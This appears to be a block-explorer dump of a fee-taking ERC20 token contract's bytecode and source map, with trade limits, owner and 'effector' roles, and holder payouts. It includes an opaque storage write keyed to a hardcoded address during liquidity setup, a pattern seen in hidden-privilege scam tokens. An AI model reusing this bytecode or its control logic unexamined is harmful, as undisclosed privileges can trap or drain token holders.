2600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b602d541562002268576200226862002bdb565b62002274878662002c29565b91505b6200228287620022ea565b620022a7565b62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220a372dd9e66d62957bc8b388615a76df1758e8c76b9dd829a23f84edef114d58b64736f6c63430008110033a2646970667358221220c3047f98ceb559a71a205f45f6b4690b598b64c6becac051c5ab18b776dbb19964736f6c63430008110033

Deployed Bytecode Sourcemap

27181:1627:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3142:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3930:167;;;;;;;;;;-1:-1:-1;3930:167:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;3930:167:0;1126:187:1;14692:35:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;14692:35:0;1318:177:1;17650:104:0;;;;;;;;;;-1:-1:-1;17650:104:0;;;;;:::i;:::-;;:::i;:::-;;3409:92;;;;;;;;;;-1:-1:-1;3487:12:0;;3409:92;;19674:33;;;;;;;;;;-1:-1:-1;19674:33:0;;;;-1:-1:-1;;;;;19674:33:0;;;;;;-1:-1:-1;;;;;1870:32:1;;;1852:51;;1840:2;1825:18;19674:33:0;1685:224:1;13472:218:0;;;;;;;;;;-1:-1:-1;13472:218:0;;;;;:::i;:::-;;:::i;4103:::-;;;;;;;;;;-1:-1:-1;4103:218:0;;;;;:::i;:::-;;:::i;19039:30::-;;;;;;;;;;;;;;;;14772:27;;;;;;;;;;;;;;;;14422:24;;;;;;;;;;-1:-1:-1;14422:24:0;;;;;:::i;:::-;;:::i;19220:30::-;;;;;;;;;;;;;;;;14806:34;;;;;;;;;;;;;;;;14607;;;;;;;;;;;;;;;;13896:74;;;;;;;;;;-1:-1:-1;13953:10:0;;13967:1;-1:-1:-1;13953:15:0;13896:74;;18971:24;;;;;;;;;;;;;;;;19590:17;;;;;;;;;;;;;;;;13819:71;;;;;;;;;;-1:-1:-1;13874:10:0;;13887:1;-1:-1:-1;13819:71:0;;3326:77;;;;;;;;;;-1:-1:-1;3326:77:0;;3399:2;3299:36:1;;3287:2;3272:18;3326:77:0;3157:184:1;26627:138:0;;;;;;;;;;-1:-1:-1;26627:138:0;;;;;:::i;:::-;;:::i;17955:139::-;;;;;;;;;;-1:-1:-1;17955:139:0;;;;;:::i;:::-;;:::i;19432:24::-;;;;;;;;;;;;;;;;4327:204;;;;;;;;;;-1:-1:-1;4327:204:0;;;;;:::i;:::-;;:::i;19182:31::-;;;;;;;;;;;;;;;;18620:93;;;;;;;;;;-1:-1:-1;18620:93:0;;;;;:::i;:::-;-1:-1:-1;;;;;18693:12:0;18669:4;18693:12;;;:6;:12;;;;;;;;;18620:93;19614:17;;;;;;;;;;;;;;;;7347:20;;;;;;;;;;-1:-1:-1;7347:20:0;;;;-1:-1:-1;;;;;7347:20:0;;;17427:217;;;;;;;;;;-1:-1:-1;17427:217:0;;;;;:::i;:::-;;:::i;26542:79::-;;;;;;;;;;-1:-1:-1;26542:79:0;;;;;:::i;:::-;;:::i;19495:21::-;;;;;;;;;;;;;;;;17760:96;;;;;;;;;;-1:-1:-1;17760:96:0;;;;;:::i;:::-;;:::i;13976:86::-;;;;;;;;;;-1:-1:-1;13976:86:0;;;;;:::i;:::-;;:::i;17073:77::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;19327:30::-;;;;;;;;;;;;;;;;13293:84;;;;;;;;;;;;;:::i;18451:163::-;;;;;;;;;;-1:-1:-1;18451:163:0;;;;;:::i;:::-;;:::i;19638:29::-;;;;;;;;;;-1:-1:-1;19638:29:0;;;;-1:-1:-1;;;;;19638:29:0;;;3507:111;;;;;;;;;;-1:-1:-1;3507:111:0;;;;;:::i;:::-;-1:-1:-1;;;;;3598:18:0;3581:7;3598:18;;;;;;;;;;;;3507:111;11220:87;;;;;;;;;;;;;:::i;24826:493::-;;;;;;;;;;;;;:::i;13787:25::-;;;;;;;;;;;;;;;;11021:71;;;;;;;;;;-1:-1:-1;11084:6:0;;-1:-1:-1;;;;;11084:6:0;11021:71;;14648:37;;;;;;;;;;;;;;;;3232:88;;;;;;;;;;;;;:::i;12002:95::-;;;;;;;;;;-1:-1:-1;12002:95:0;;;;;:::i;:::-;;:::i;18354:91::-;;;;;;;;;;-1:-1:-1;18354:91:0;;;;;:::i;:::-;;:::i;26154:154::-;;;;;;;;;;-1:-1:-1;26154:154:0;;;;;:::i;:::-;;:::i;19463:25::-;;;;;;;;;;;;;;;;13383:83;;;;;;;;;;;;;:::i;7463:200::-;;;;;;;;;;-1:-1:-1;7463:200:0;;;;;:::i;:::-;;:::i;14552:23::-;;;;;;;;;;-1:-1:-1;14552:23:0;;;;-1:-1:-1;;;;;14552:23:0;;;4537:357;;;;;;;;;;-1:-1:-1;4537:357:0;;;;;:::i;:::-;;:::i;7258:19::-;;;;;;;;;;-1:-1:-1;7258:19:0;;;;-1:-1:-1;;;;;7258:19:0;;;3624:159;;;;;;;;;;-1:-1:-1;3624:159:0;;;;;:::i;:::-;;:::i;17862:87::-;;;;;;;;;;-1:-1:-1;17862:87:0;;;;;:::i;:::-;;:::i;17156:114::-;;;;;;;;;;-1:-1:-1;17156:114:0;;;;;:::i;:::-;;:::i;14243:79::-;;;;;;;;;;;;;:::i;19557:26::-;;;;;;;;;;-1:-1:-1;19557:26:0;;;;-1:-1:-1;;;;;19557:26:0;;;14734:31;;;;;;;;;;;;;;;;25650:297;;;;;;;;;;-1:-1:-1;25650:297:0;;;;;:::i;:::-;;:::i;19257:26::-;;;;;;;;;;;;;;;;19002:30;;;;;;;;;;;;;;;;26771:151;;;;;;;;;;-1:-1:-1;26771:151:0;;;;;:::i;:::-;;:::i;19076:29::-;;;;;;;;;;;;;;;;14582:18;;;;;;;;;;-1:-1:-1;14582:18:0;;;;-1:-1:-1;;;;;14582:18:0;;;26928:168;;;;;;;;;;-1:-1:-1;26928:168:0;;;;;:::i;:::-;;:::i;14151:86::-;;;;;;;;;;;;;:::i;14500:45::-;;;;;;;;;;-1:-1:-1;14500:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19523:27;;;;;;;;;;;;;;;;14453:40;;;;;;;;;;-1:-1:-1;14453:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19290:30;;;;;;;;;;;;;;;;19112:25;;;;;;;;;;;;;;;;3789:135;;;;;;;;;;-1:-1:-1;3789:135:0;;;;;:::i;:::-;;:::i;26014:134::-;;;;;;;;;;-1:-1:-1;26014:134:0;;;;;:::i;:::-;;:::i;18941:23::-;;;;;;;;;;;;;;;;11313:176;;;;;;;;;;-1:-1:-1;11313:176:0;;;;;:::i;:::-;;:::i;19364:29::-;;;;;;;;;;;;;;;;25360:284;;;;;;;;;;-1:-1:-1;25360:284:0;;;;;:::i;:::-;;:::i;14068:77::-;;;;;;;;;;;;;:::i;7284:21::-;;;;;;;;;;-1:-1:-1;7284:21:0;;;;-1:-1:-1;;;;;7284:21:0;;;19400:25;;;;;;;;;;;;;;;;19144:31;;;;;;;;;;;;;;;;12103:144;;;;;;;;;;-1:-1:-1;12103:144:0;;;;;:::i;:::-;;:::i;17276:145::-;;;;;;;;;;-1:-1:-1;17276:145:0;;;;;:::i;:::-;;:::i;3142:84::-;3196:13;3219:5;3212:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3142:84;:::o;3930:167::-;4013:4;2670:10;4050:32;2670:10;4066:7;4075:6;4050:8;:32::i;:::-;4091:4;4084:11;;;3930:167;;;;;:::o;17650:104::-;17704:20;:18;:20::i;:::-;17726;:26;17650:104::o;13472:218::-;13574:17;:15;:17::i;:::-;13593:9;:22;;-1:-1:-1;;13593:22:0;;;;;;;;;;;13617:9;:21;;;;13640:10;:23;13665:10;:23;13472:218::o;4103:::-;4200:4;2670:10;4239:38;4255:4;2670:10;4270:6;4239:15;:38::i;:::-;4279:27;4289:4;4295:2;4299:6;4279:9;:27::i;:::-;4315:4;4308:11;;;4103:218;;;;;;:::o;14422:24::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14422:24:0;;-1:-1:-1;14422:24:0;:::o;26627:138::-;11815:9;;-1:-1:-1;;;;;11815:9:0;2670:10;11815:25;;:52;;-1:-1:-1;11084:6:0;;-1:-1:-1;;;;;11084:6:0;2670:10;11844:23;11815:52;11807:101;;;;-1:-1:-1;;;11807:101:0;;;;;;;:::i;:::-;;;;;;;;;26717:2:::1;:8:::0;;;;26727:2:::1;:8:::0;26737:11:::1;:26:::0;;-1:-1:-1;;;;;;26737:26:0::1;-1:-1:-1::0;;;;;26737:26:0;;::::1;::::0;;;::::1;::::0;;26627:138::o;17955:139::-;18016:20;:18;:20::i;:::-;18043:6;18038:55;18054:4;:11;18052:1;:13;18038:55;;;18072:19;18083:4;18088:1;18083:7;;;;;;;;:::i;:::-;;;;;;;18072:10;:19::i;:::-;18066:3;;;;:::i;:::-;;;;18038:55;;;;17955:139;:::o;4327:204::-;4415:4;2670:10;4452:64;2670:10;4468:7;4505:10;4477:25;2670:10;4468:7;4477:9;:25::i;:::-;:38;;;;:::i;:::-;4452:8;:64::i;17427:217::-;17528:20;:18;:20::i;:::-;17550:19;:42;;;;17594:22;:48;17427:217::o;26542:79::-;11815:9;;-1:-1:-1;;;;;11815:9:0;2670:10;11815:25;;:52;;-1:-1:-1;11084:6:0;;-1:-1:-1;;;;;11084:6:0;2670:10;11844:23;11815:52;11807:101;;;;-1:-1:-1;;;11807:101:0;;;;;;;:::i;:::-;26601:12:::1;:18:::0;26542:79::o;17760:96::-;17810:20;:18;:20::i;:::-;17832:16;:22;17760:96::o;13976:86::-;14018:26;:24;:26::i;:::-;14046:10;:14;13976:86::o;17073:77::-;17115:16;17141:7;17134:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17134:14:0;;;;;;;;;;;;;;;;;;;;;;17073:77;:::o;13293:84::-;13324:17;:15;:17::i;:::-;13347:9;;;;13343:32;;;13358:9;:17;;-1:-1:-1;;13358:17:0;;;13343:32;13293:84::o;18451:163::-;10997:13;:11;:13::i;:::-;18533:6:::1;18528:79;18544:4;:11;18542:1;:13;18528:79;;;18576:19;18584:4;18589:1;18584:7;;;;;;;;:::i;:::-;;;;;;;18593:1;18576:7;:19::i;:::-;18556:3:::0;::::1;::::0;::::1;:::i;:::-;;;;18528:79;;;;18451:163:::0;;:::o;11220:87::-;10997:13;:11;:13::i;:::-;11275:30:::1;11302:1;11275:18;:30::i;24826:493::-:0;24905:16;;24887:15;;:34;;;;:::i;:::-;24869:15;:52;24968:16;;24950:15;;:34;;24968:16;24950:34;:::i;:::-;24932:15;:52;25029:15;;25012:14;;:32;;25029:15;25012:32;:::i;:::-;24995:14;:49;25081:11;;25068:10;;:24;;25081:11;25068:24;:::i;:::-;25055:10;:37;25168:10;;25151:14;;25133:15;;25115;;:33;;25133:15;25115:33;:::i;:::-;:50;;;;:::i;:::-;:63;;;;:::i;:::-;25103:9;:75;25258:11;;25240:15;;25221:16;;25202;;:35;;25221:16;25202:35;:::i;:::-;:53;;;;:::i;:::-;:67;;;;:::i;:::-;25189:10;:80;;;25289:9;;:22;;25189:80;25289:22;:::i;:::-;25280:6;:31;24826:493::o;3232:88::-;3288:13;3311:7;3304:14;;;;;:::i;12002:95::-;12053:20;:18;:20::i;:::-;-1:-1:-1;;;;;12075:16:0;;;;;;;;:9;:16;;;;;:20;;-1:-1:-1;;12075:20:0;;;;;;;;;;12002:95::o;18354:91::-;10997:13;:11;:13::i;:::-;-1:-1:-1;;;;;18421:12:0;;;::::1;;::::0;;;:6:::1;:12;::::0;;;;:16;;-1:-1:-1;;18421:16:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18354:91::o;26154:154::-;11815:9;;-1:-1:-1;;;;;11815:9:0;2670:10;11815:25;;:52;;-1:-1:-1;11084:6:0;;-1:-1:-1;;;;;11084:6:0;2670:10;11844:23;11815:52;11807:101;;;;-1:-1:-1;;;11807:101:0;;;;;;;:::i;:::-;26274:31:::1;::::0;-1:-1:-1;;;26274:31:0;;26299:4:::1;26274:31;::::0;::::1;1852:51:1::0;26238:68:0::1;::::0;26254:6;;26262:10;;-1:-1:-1;;;;;26274:16:0;::::1;::::0;::::1;::::0;1825:18:1;;26274:31:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13383:83::-:0;13413:17;:15;:17::i;:::-;13437:9;;;;13432:32;;13448:9;:16;;-1:-1:-1;;13448:16:0;13460:4;13448:16;;;13383:83::o;7463:200::-;7563:6;;:45;;-1:-1:-1;;;7563:45:0;;7529:7;;;;-1:-1:-1;;;;;7563:6:0;;;;:20;;:45;;7584:12;;7598:9;;7563:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7563:45:0;;;;;;;;;;;;:::i;:::-;7539:69;;7631:1;7614:7;:14;:18;7610:41;;;7641:7;7649:1;7641:10;;;;;;;;:::i;:::-;;;;;;;7634:17;;;7463:200;;;:::o;7610:41::-;-1:-1:-1;7660:1:0;;7463:200;-1:-1:-1;;7463:200:0:o;4537:357::-;4630:4;2670:10;4630:4;4694:25;2670:10;4711:7;4694:9;:25::i;:::-;4667:52;;4749:15;4729:16;:35;;4721:85;;;;-1:-1:-1;;;4721:85:0;;14584:2:1;4721:85:0;;;14566:21:1;14623:2;14603:18;;;14596:30;14662:34;14642:18;;;14635:62;-1:-1:-1;;;14713:18:1;;